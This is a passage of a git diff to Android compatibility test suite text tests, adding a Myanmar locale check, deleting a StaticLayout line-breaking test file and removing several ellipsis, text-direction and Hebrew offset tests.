- MockCanvas c = new MockCanvas(width, height);
- layout.draw(c);
- List<MockCanvas.DrawCommand> drawCommands = c.getDrawCommands();
- assertEquals(LINE_COUNT, drawCommands.size());
- for (int i = 0; i < LINE_COUNT; i++) {
- MockCanvas.DrawCommand drawCommand = drawCommands.get(i);
- int start = layout.getLineStart(i);
- int end = layout.getLineEnd(i);
- assertEquals(LAYOUT_TEXT.toString().substring(start, end), drawCommand.text);
- float expected_y = (i + 1) * LINE_HEIGHT - LINE_DESCENT;
- assertEquals(expected_y, drawCommand.y, 0.0f);
- }
- }
-
- private final class MockCanvas extends Canvas {
-
- class DrawCommand {
- final String text;
- final float x;
- final float y;
-
- DrawCommand(String text, float x, float y) {
- this.text = text;
- this.x = x;
- this.y = y;
- }
- }
-
- List<DrawCommand> mDrawCommands;
-
- public MockCanvas(int width, int height) {
- super();
- mDrawCommands = new ArrayList<>();
- Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- setBitmap(bitmap);
- }
-
- // Drawing text with either drawText or drawTextRun is valid; we don't care which.
- // We also don't care which of the string representations is used.
-
- @Override
- public void drawText(String text, int start, int end, float x, float y, Paint p) {
- mDrawCommands.add(new DrawCommand(text.substring(start, end), x, y));
- }
-
- @Override
- public void drawText(CharSequence text, int start, int end, float x, float y, Paint p) {
- drawText(text.toString(), start, end, x, y, p);
- }
-
- @Override
- public void drawText(char[] text, int index, int count, float x, float y, Paint p) {
- mDrawCommands.add(new DrawCommand(new String(text, index, count), x, y));
- }
-
- @Override
- public void drawTextRun(CharSequence text, int start, int end, int contextStart,
- int contextEnd, float x, float y, boolean isRtl, Paint paint) {
- drawText(text, start, end, x, y, paint);
- }
-
- @Override
- public void drawTextRun(char[] text, int index, int count, int contextIndex,
- int contextCount, float x, float y, boolean isRtl, Paint paint) {
- drawText(text, index, count, x, y, paint);
- }
-
- List<DrawCommand> getDrawCommands() {
- return mDrawCommands;
- }
- }
}
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index 8a71adb..916b451 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -19,16 +19,20 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
+import android.content.res.Resources;
import android.graphics.Bitmap;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
import android.widget.TextView;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Locale;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class MyanmarTest {
@@ -38,6 +42,21 @@
@UiThreadTest
@Test
public void testCompositionSemantics() {
+ boolean isMyanmarSupported = false;
+ final String[] localeNames = Resources.getSystem().getStringArray(
+ Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
+ for (String localeName : localeNames) {
+ if (TextUtils.equals("my", Locale.forLanguageTag(localeName).getLanguage())) {
+ isMyanmarSupported = true;
+ break;
+ }
+ }
+ if (!isMyanmarSupported) {
+ // Ignoring since no Myanmar font guarantee if Myanmar is not listed in supported
+ // locales.
+ return;
+ }
+
Context context = InstrumentationRegistry.getTargetContext();
String textA = "\u1019\u102d\u102f";
String textB = "\u1019\u102f\u102d"; // wrong order for Unicode
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
index 3e58853..b8f3f42 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
@@ -32,7 +32,6 @@
import android.text.SpannableStringBuilder;
import android.text.Spanned;
import android.text.TextWatcher;
-import android.text.style.BulletSpan;
import android.text.style.QuoteSpan;
import android.text.style.StrikethroughSpan;
import android.text.style.SubscriptSpan;
@@ -772,32 +771,6 @@
}
@Test
- public void testGetSpans_sortsByPriorityEvenWhenSortParamIsFalse() {
- String text = "p_in_s";
- SpannableStringBuilder builder = new SpannableStringBuilder(text);
- Object first = new SubscriptSpan();
- Object second = new UnderlineSpan();
- Object third = new BulletSpan();
- Object fourth = new QuoteSpan();
-
- builder.setSpan(first, 2, 4, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
- builder.setSpan(second, 1, text.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
- builder.setSpan(third, 2, text.length(), 1 << Spanned.SPAN_PRIORITY_SHIFT);
- builder.setSpan(fourth, 0, text.length(), 2 << Spanned.SPAN_PRIORITY_SHIFT);
-
- Object[] spans = builder.getSpans(0, text.length(), Object.class, false);
-
- assertNotNull(spans);
- assertEquals(4, spans.length);
- // priority spans are first
- assertEquals(fourth, spans[0]);
- assertEquals(third, spans[1]);
- // other spans should be there
- assertEquals(second, spans[2]);
- assertEquals(first, spans[3]);
- }
-
- @Test
public void testLength() {
SpannableStringBuilder builder = new SpannableStringBuilder("hello");
assertEquals(5, builder.length());
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
deleted file mode 100644
index 24f9932..0000000
--- a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
+++ /dev/null
@@ -1,467 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.text.Layout.Alignment;
-import android.text.SpannableStringBuilder;
-import android.text.Spanned;
-import android.text.StaticLayout;
-import android.text.TextDirectionHeuristics;
-import android.text.TextPaint;
-import android.text.style.MetricAffectingSpan;
-import android.util.Log;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class StaticLayoutLineBreakingTest {
- // Span test are currently not supported because text measurement uses the MeasuredText
- // internal mWorkPaint instead of the provided MockTestPaint.
- private static final boolean SPAN_TESTS_SUPPORTED = false;
- private static final boolean DEBUG = false;
-
- private static final float SPACE_MULTI = 1.0f;
- private static final float SPACE_ADD = 0.0f;
- private static final int WIDTH = 100;
- private static final Alignment ALIGN = Alignment.ALIGN_LEFT;
-
- private static final char SURR_FIRST = '\uD800';
- private static final char SURR_SECOND = '\uDF31';
-
- private static final int[] NO_BREAK = new int[] {};
-
- private static final TextPaint mTextPaint = new MockTextPaint();
-
- private static class MockTextPaint extends TextPaint {
-
- @Override
- public float getTextRunAdvances(char[] chars, int index, int count,
- int contextIndex, int contextCount, boolean isRtl, float[] advances,
- int advancesIndex) {
-
- // Conditions copy pasted from Paint
- if (chars == null) {
- throw new IllegalArgumentException("text cannot be null");
- }
-
- if ((index | count | contextIndex | contextCount | advancesIndex
- | (index - contextIndex) | (contextCount - count)
- | ((contextIndex + contextCount) - (index + count))
- | (chars.length - (contextIndex + contextCount))
- | (advances == null ? 0 :
- (advances.length - (advancesIndex + count)))) < 0) {
- throw new IndexOutOfBoundsException();
- }
-
- float res = 0.0f;
-
- if (advances != null) {
- for (int i = 0; i < count; i++) {
- float width = getCharWidth(chars[index + i]);
- advances[advancesIndex + i] = width;
- res += width;
- }
- }
-
- return res;
- }
- }
-
- private static float getCharWidth(char c) {
- switch (Character.toUpperCase(c)) {
- // Roman figures
- case 'I': return 1.0f;
- case 'V': return 5.0f;
- case 'X': return 10.0f;
- case 'L': return 50.0f;
- case 'C': return 100.0f; // equals to WIDTH
- case ' ': return 10.0f;
- case '_': return 0.0f; // 0-width character
- case SURR_FIRST: return 7.0f;
- case SURR_SECOND: return 3.0f; // Sum of SURR_FIRST-SURR_SECOND is 10
- default: return 10.0f;
- }
- }
-
- private static StaticLayout getStaticLayout(CharSequence source, int width) {
- return new StaticLayout(source, mTextPaint, width, ALIGN, SPACE_MULTI, SPACE_ADD, false);
- }
-
- private static int[] getBreaks(CharSequence source) {
- return getBreaks(source, WIDTH);
- }
-
- private static int[] getBreaks(CharSequence source, int width) {
- StaticLayout staticLayout = getStaticLayout(source, width);
-
- int[] breaks = new int[staticLayout.getLineCount() - 1];
- for (int line = 0; line < breaks.length; line++) {
- breaks[line] = staticLayout.getLineEnd(line);
- }
- return breaks;
- }
-
- private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
- if (DEBUG) {
- int count = staticLayout.getLineCount();
- Log.i("SLLBTest", "\"" + source.toString() + "\": " +
- count + " lines");
- for (int line = 0; line < count; line++) {
- int lineStart = staticLayout.getLineStart(line);
- int lineEnd = staticLayout.getLineEnd(line);
- Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".." +
- lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
- }
- }
- }
-
- private static void layout(CharSequence source, int[] breaks) {
- layout(source, breaks, WIDTH);
- }
-
- private static void layout(CharSequence source, int[] breaks, int width) {
- StaticLayout staticLayout = getStaticLayout(source, width);
-
- debugLayout(source, staticLayout);
-
- int lineCount = breaks.length + 1;
- assertEquals("Number of lines", lineCount, staticLayout.getLineCount());
-
- for (int line = 0; line < lineCount; line++) {
- int lineStart = staticLayout.getLineStart(line);
- int lineEnd = staticLayout.getLineEnd(line);
-
- if (line == 0) {
- assertEquals("Line start for first line", 0, lineStart);
- } else {
- assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
- }
-
- if (line == lineCount - 1) {
- assertEquals("Line end for last line", source.length(), lineEnd);
- } else {
- assertEquals("Line end for line " + line, breaks[line], lineEnd);
- }
- }
- }
-
- private static void layoutMaxLines(CharSequence source, int[] breaks, int maxLines) {
- StaticLayout staticLayout = new StaticLayout(source, 0, source.length(), mTextPaint, WIDTH,
- ALIGN, TextDirectionHeuristics.LTR, SPACE_MULTI, SPACE_ADD, false /* includePad */,
- null, WIDTH, maxLines);
-
- debugLayout(source, staticLayout);
-
- final int lineCount = staticLayout.getLineCount();
-
- for (int line = 0; line < lineCount; line++) {
- int lineStart = staticLayout.getLineStart(line);
- int lineEnd = staticLayout.getLineEnd(line);
-
- if (line == 0) {
- assertEquals("Line start for first line", 0, lineStart);
- } else {
- assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
- }
-
- if (line == lineCount - 1 && line != breaks.length - 1) {
- assertEquals("Line end for last line", source.length(), lineEnd);
- } else {
- assertEquals("Line end for line " + line, breaks[line], lineEnd);
- }
- }
- }
-
- private final static int MAX_SPAN_COUNT = 10;
- private final static int[] spanStarts = new int[MAX_SPAN_COUNT];
- private final static int[] spanEnds = new int[MAX_SPAN_COUNT];
-
- private static MetricAffectingSpan getMetricAffectingSpan() {
- return new MetricAffectingSpan() {
- @Override
- public void updateDrawState(TextPaint tp) { /* empty */ }
-
- @Override
- public void updateMeasureState(TextPaint p) { /* empty */ }
- };
- }
-
- /**
- * Replaces the "<...>" blocks by spans, assuming non overlapping, correctly defined spans
- * @param text
- * @return A CharSequence with '<' '>' replaced by MetricAffectingSpan
- */
- private static CharSequence spanify(String text) {
- int startIndex = text.indexOf('<');
- if (startIndex < 0) return text;
-
- int spanCount = 0;
- do {
- int endIndex = text.indexOf('>');
- if (endIndex < 0) throw new IllegalArgumentException("Unbalanced span markers");
-
- text = text.substring(0, startIndex) + text.substring(startIndex + 1, endIndex) +
- text.substring(endIndex + 1);
-
- spanStarts[spanCount] = startIndex;
- spanEnds[spanCount] = endIndex - 2;
- spanCount++;
-
- startIndex = text.indexOf('<');
- } while (startIndex >= 0);
-
- SpannableStringBuilder result = new SpannableStringBuilder(text);
- for (int i = 0; i < spanCount; i++) {
- result.setSpan(getMetricAffectingSpan(), spanStarts[i], spanEnds[i],
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
- }
- return result;
- }
-
- @Test
- public void testNoLineBreak() {
- // Width lower than WIDTH
- layout("", NO_BREAK);
- layout("I", NO_BREAK);
- layout("V", NO_BREAK);
- layout("X", NO_BREAK);
- layout("L", NO_BREAK);
- layout("I VILI", NO_BREAK);
- layout("XXXX", NO_BREAK);
- layout("LXXXX", NO_BREAK);
-
- // Width equal to WIDTH
- layout("C", NO_BREAK);
- layout("LL", NO_BREAK);
- layout("L XXXX", NO_BREAK);
- layout("XXXXXXXXXX", NO_BREAK);
- layout("XXX XXXXXX", NO_BREAK);
- layout("XXX XXXX X", NO_BREAK);
- layout("XXX XXXXX ", NO_BREAK);
- layout(" XXXXXXXX ", NO_BREAK);
- layout(" XX XXX ", NO_BREAK);
- // 0123456789
-
- // Width greater than WIDTH, but no break
- layout(" XX XXX ", NO_BREAK);
- layout("XX XXX XXX ", NO_BREAK);
- layout("XX XXX XXX ", NO_BREAK);
- layout("XXXXXXXXXX ", NO_BREAK);
- // 01234567890
- }
-
- @Test
- public void testOneLineBreak() {
- // 01234567890
- layout("XX XXX XXXX", new int[] {7});
- layout("XX XXXX XXX", new int[] {8});
- layout("XX XXXXX XX", new int[] {9});
- layout("XX XXXXXX X", new int[] {10});
- // 01234567890
- layout("XXXXXXXXXXX", new int[] {10});
- layout("XXXXXXXXX X", new int[] {10});
- layout("XXXXXXXX XX", new int[] {9});
- layout("XXXXXXX XXX", new int[] {8});
- layout("XXXXXX XXXX", new int[] {7});
- // 01234567890
- layout("LL LL", new int[] {3});
- layout("LLLL", new int[] {2});
- layout("C C", new int[] {2});
- layout("CC", new int[] {1});
- }
-
- @Test
- public void testSpaceAtBreak() {
- // 0123456789012
- layout("XXXX XXXXX X", new int[] {11});
- layout("XXXXXXXXXX X", new int[] {11});
- layout("XXXXXXXXXV X", new int[] {11});
- layout("C X", new int[] {2});
- }
-
- @Test
- public void testMultipleSpacesAtBreak() {
- // 0123456789012
- layout("LXX XXXX", new int[] {4});
- layout("LXX XXXX", new int[] {5});
- layout("LXX XXXX", new int[] {6});
- layout("LXX XXXX", new int[] {7});
- layout("LXX XXXX", new int[] {8});
- }
-
- @Test
- public void testZeroWidthCharacters() {
- // 0123456789012345678901234
- layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
- layout("___X_X_X_X_X_X_X_X_X_X___", NO_BREAK);
- layout("C_X", new int[] {2});
- layout("C__X", new int[] {3});
- }
-
- /**
- * Note that when the text has spans, StaticLayout does not use the provided TextPaint to
- * measure text runs anymore. This is probably a bug.
- * To be able to use the fake mTextPaint and make this test pass, use mPaint instead of
- * mWorkPaint in MeasuredText#addStyleRun
- */
- @Test
- public void testWithSpans() {
- if (!SPAN_TESTS_SUPPORTED) return;
-
- layout(spanify("<012 456 89>"), NO_BREAK);
- layout(spanify("012 <456> 89"), NO_BREAK);
- layout(spanify("<012> <456>< 89>"), NO_BREAK);
- layout(spanify("<012> <456> <89>"), NO_BREAK);
-
- layout(spanify("<012> <456> <89>012"), new int[] {8});
- layout(spanify("<012> <456> 89<012>"), new int[] {8});
- layout(spanify("<012> <456> <89><012>"), new int[] {8});
- layout(spanify("<012> <456> 89 <123>"), new int[] {11});
- layout(spanify("<012> <456> 89< 123>"), new int[] {11});
- layout(spanify("<012> <456> <89> <123>"), new int[] {11});
- layout(spanify("012 456 89 <LXX> XX XX"), new int[] {11, 18});
- }
-
- /*
- * Adding a span to the string should not change the layout, since the metrics are unchanged.
- */
- @Test
- public void testWithOneSpan() {
- if (!SPAN_TESTS_SUPPORTED) return;
-
- String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
- "012 456 89012 456 89012", "0123456789012" };
-
- MetricAffectingSpan metricAffectingSpan = getMetricAffectingSpan();
-
- for (String text : texts) {
- // Get the line breaks without any span
- int[] breaks = getBreaks(text);
-
- // Add spans on all possible offsets
- for (int spanStart = 0; spanStart < text.length(); spanStart++) {
- for (int spanEnd = spanStart; spanEnd < text.length(); spanEnd++) {
- SpannableStringBuilder ssb = new SpannableStringBuilder(text);
- ssb.setSpan(metricAffectingSpan, spanStart, spanEnd,
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
- layout(ssb, breaks);
- }
- }
- }
- }
-
- @Test
- public void testWithTwoSpans() {
- if (!SPAN_TESTS_SUPPORTED) return;
-
- String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
- "012 456 89012 456 89012", "0123456789012" };
-
- MetricAffectingSpan metricAffectingSpan1 = getMetricAffectingSpan();
- MetricAffectingSpan metricAffectingSpan2 = getMetricAffectingSpan();
-
- for (String text : texts) {
- // Get the line breaks without any span
- int[] breaks = getBreaks(text);
-
- // Add spans on all possible offsets
- for (int spanStart1 = 0; spanStart1 < text.length(); spanStart1++) {
- for (int spanEnd1 = spanStart1; spanEnd1 < text.length(); spanEnd1++) {
- SpannableStringBuilder ssb = new SpannableStringBuilder(text);
- ssb.setSpan(metricAffectingSpan1, spanStart1, spanEnd1,
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
-
- for (int spanStart2 = 0; spanStart2 < text.length(); spanStart2++) {
- for (int spanEnd2 = spanStart2; spanEnd2 < text.length(); spanEnd2++) {
- ssb.setSpan(metricAffectingSpan2, spanStart2, spanEnd2,
- Spanned.SPAN_INCLUSIVE_INCLUSIVE);
- layout(ssb, breaks);
- }
- }
- }
- }
- }
- }
-
- public static String replace(String string, char c, char r) {
- return string.replaceAll(String.valueOf(c), String.valueOf(r));
- }
-
- @Test
- public void testWithSurrogate() {
- layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
- layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
- // LXXXXI (91) + SURR_FIRST (7) fits. But we should not break the surrogate pair
- // Bug: surrogate pair is broken, should be 6 (breaking after the 'V')
- // Maybe not: may be ok if the second character of a pair always has a 0-width
- layout("LXXXXI" + SURR_FIRST + SURR_SECOND, new int[] {7});
-
- // LXXXXI (95) + SURR_SECOND (3) fits, but this is not a valid surrogate pair, breaking it
- layout("LXXXXV" + SURR_SECOND + SURR_FIRST, new int[] {7});
-
- layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
- }
-
- @Test
- public void testNarrowWidth() {
- int[] widths = new int[] { 0, 4, 10 };
- String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
-
- for (String text: texts) {
- // 15 is such that only one character will fit
- int[] breaks = getBreaks(text, 15);
-
- // Width under 15 should all lead to the same line break
- for (int width: widths) {
- layout(text, breaks, width);
- }
- }
- }
-
- @Test
- public void testNarrowWidthZeroWidth() {
- int[] widths = new int[] { 1, 4 };
- for (int width: widths) {
- layout("X.", new int[] {1}, width);
- layout("X__", NO_BREAK, width);
- layout("X__X", new int[] {3}, width);
- layout("X__X_", new int[] {3}, width);
-
- layout("_", NO_BREAK, width);
- layout("__", NO_BREAK, width);
- layout("_X", new int[] {1}, width);
- layout("_X_", new int[] {1}, width);
- layout("__X__", new int[] {2}, width);
- }
- }
-
- @Test
- public void testMaxLines() {
- layoutMaxLines("C", NO_BREAK, 1);
- layoutMaxLines("C C", new int[] {2}, 1);
- layoutMaxLines("C C", new int[] {2}, 2);
- layoutMaxLines("CC", new int[] {1}, 1);
- layoutMaxLines("CC", new int[] {1}, 2);
- }
-}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index df60064..1c5bcba 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,7 +33,6 @@
import android.text.Spanned;
import android.text.SpannedString;
import android.text.StaticLayout;
-import android.text.TextDirectionHeuristics;
import android.text.TextPaint;
import android.text.TextUtils;
import android.text.TextUtils.TruncateAt;
@@ -98,14 +97,12 @@
}
private StaticLayout createEllipsizeStaticLayout(CharSequence text,
- TextUtils.TruncateAt ellipsize, int maxLines) {
+ TextUtils.TruncateAt ellipsize) {
return new StaticLayout(text, 0, text.length(),
mDefaultPaint, DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN,
- TextDirectionHeuristics.FIRSTSTRONG_LTR,
SPACE_MULTI, SPACE_ADD, true /* include pad */,
ellipsize,
- ELLIPSIZE_WIDTH,
- maxLines);
+ ELLIPSIZE_WIDTH);
}
/**
@@ -140,8 +137,6 @@
assertEquals(mDefaultPaint, layout.getPaint());
assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
// Check default values.
- assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
- layout.getTextDirectionHeuristic());
assertEquals(Alignment.ALIGN_NORMAL, layout.getAlignment());
assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
@@ -173,16 +168,6 @@
assertEquals(DEFAULT_ALIGN, layout.getAlignment());
}
{
- // setTextDirection.
- StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
- LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
- builder.setTextDirection(TextDirectionHeuristics.RTL);
- StaticLayout layout = builder.build();
- // Always returns TextDirectionHeuristics.FIRSTSTRONG_LTR.
- assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
- layout.getTextDirectionHeuristic());
- }
- {
// setLineSpacing.
StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
@@ -412,8 +397,7 @@
public void testGetEllipsisCount() {
// Multilines (6 lines) and TruncateAt.START so no ellipsis at all
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.MIDDLE,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.MIDDLE);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -436,8 +420,7 @@
// Multilines (6 lines) and TruncateAt.MIDDLE so no ellipsis at all
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.MIDDLE,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.MIDDLE);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -448,8 +431,7 @@
// Multilines (6 lines) and TruncateAt.END so ellipsis only on the last line
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.END,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.END);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -460,8 +442,7 @@
// Multilines (6 lines) and TruncateAt.MARQUEE so ellipsis only on the last line
mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
- TextUtils.TruncateAt.END,
- Integer.MAX_VALUE /* maxLines */);
+ TextUtils.TruncateAt.END);
assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -517,104 +498,6 @@
assertEquals(outerWidth, layout.getEllipsizedWidth());
}
- @Test
- public void testEllipsis_singleLine() {
- {
- // Single line case and TruncateAt.END so that we have some ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.END, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- }
- {
- // Single line case and TruncateAt.MIDDLE so that we have some ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.MIDDLE, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- }
- {
- // Single line case and TruncateAt.END so that we have some ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.END, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- }
- {
- // Single line case and TruncateAt.MARQUEE so that we have NO ellipsis
- StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
- TextUtils.TruncateAt.MARQUEE, 1);
- assertTrue(layout.getEllipsisCount(0) == 0);
- }
- {
- final String text = "\u3042" // HIRAGANA LETTER A
- + "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz";
- final float textWidth = mDefaultPaint.measureText(text);
- final int halfWidth = (int)(textWidth / 2.0f);
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertTrue(layout.getEllipsisStart(0) > 0);
- }
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.START, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertEquals(0, mDefaultLayout.getEllipsisStart(0));
- }
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MIDDLE, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertTrue(layout.getEllipsisStart(0) > 0);
- }
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MARQUEE, halfWidth, 1);
- assertEquals(0, layout.getEllipsisCount(0));
- }
- }
-
- {
- // The white spaces in this text will be trailing if maxLines is larger than 1, but
- // width of the trailing white spaces must not be ignored if ellipsis is applied.
- final String text = "abc def";
- final float textWidth = mDefaultPaint.measureText(text);
- final int halfWidth = (int)(textWidth / 2.0f);
- {
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
- assertTrue(layout.getEllipsisCount(0) > 0);
- assertTrue(layout.getEllipsisStart(0) > 0);
- }
- }
-
- {
- // 2 family emojis (11 code units + 11 code units).
- final String text = "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66"
- + "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66";
- final float textWidth = mDefaultPaint.measureText(text);
-
- final TextUtils.TruncateAt[] kinds = {TextUtils.TruncateAt.START,
- TextUtils.TruncateAt.MIDDLE, TextUtils.TruncateAt.END};
- for (final TextUtils.TruncateAt kind : kinds) {
- for (int i = 0; i <= 8; i++) {
- int avail = (int)(textWidth * i / 7.0f);
- StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
- avail, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
- SPACE_MULTI, SPACE_ADD, false, kind, avail, 1);
-
- assertTrue(layout.getEllipsisCount(0) == text.length()
- || layout.getEllipsisCount(0) == text.length() / 2
- || layout.getEllipsisCount(0) == 0);
- }
- }
- }
- }
-
/**
* scenario description:
* 1. set the text.
@@ -920,32 +803,6 @@
}
@Test
- public void testGetOffset_UNICODE_Hebrew() {
- String testString = "\u05DE\u05E1\u05E2\u05D3\u05D4"; // Hebrew Characters
- for (CharSequence seq: buildTestCharSequences(testString, Normalizer.Form.values())) {
- StaticLayout layout = new StaticLayout(seq, mDefaultPaint,
- DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN,
- TextDirectionHeuristics.RTL, SPACE_MULTI, SPACE_ADD, true);
-
- String testLabel = buildTestMessage(seq);
-
- assertEquals(testLabel, 1, layout.getOffsetToLeftOf(0));
- assertEquals(testLabel, 2, layout.getOffsetToLeftOf(1));
- assertEquals(testLabel, 3, layout.getOffsetToLeftOf(2));
- assertEquals(testLabel, 4, layout.getOffsetToLeftOf(3));
- assertEquals(testLabel, 5, layout.getOffsetToLeftOf(4));
- assertEquals(testLabel, 5, layout.getOffsetToLeftOf(5));
-
- assertEquals(testLabel, 0, layout.getOffsetToRightOf(0));
- assertEquals(testLabel, 0, layout.getOffsetToRightOf(1));
- assertEquals(testLabel, 1, layout.getOffsetToRightOf(2));
- assertEquals(testLabel, 2, layout.getOffsetToRightOf(3));
- assertEquals(testLabel, 3, layout.getOffsetToRightOf(4));
- assertEquals(testLabel, 4, layout.getOffsetToRightOf(5));
- }
- }
-
- @Test
public void testGetOffset_UNICODE_Arabic() {
// Arabic Characters. The expected cursorable boundary is
// | \u0623 \u064F | \u0633 \u0652 | \u0631 \u064E | \u0629 \u064C |";
@@ -1265,7 +1122,7 @@
@Test
public void testVeryLargeString() {
- final int MAX_COUNT = 1 << 21;
+ final int MAX_COUNT = 1 << 20;
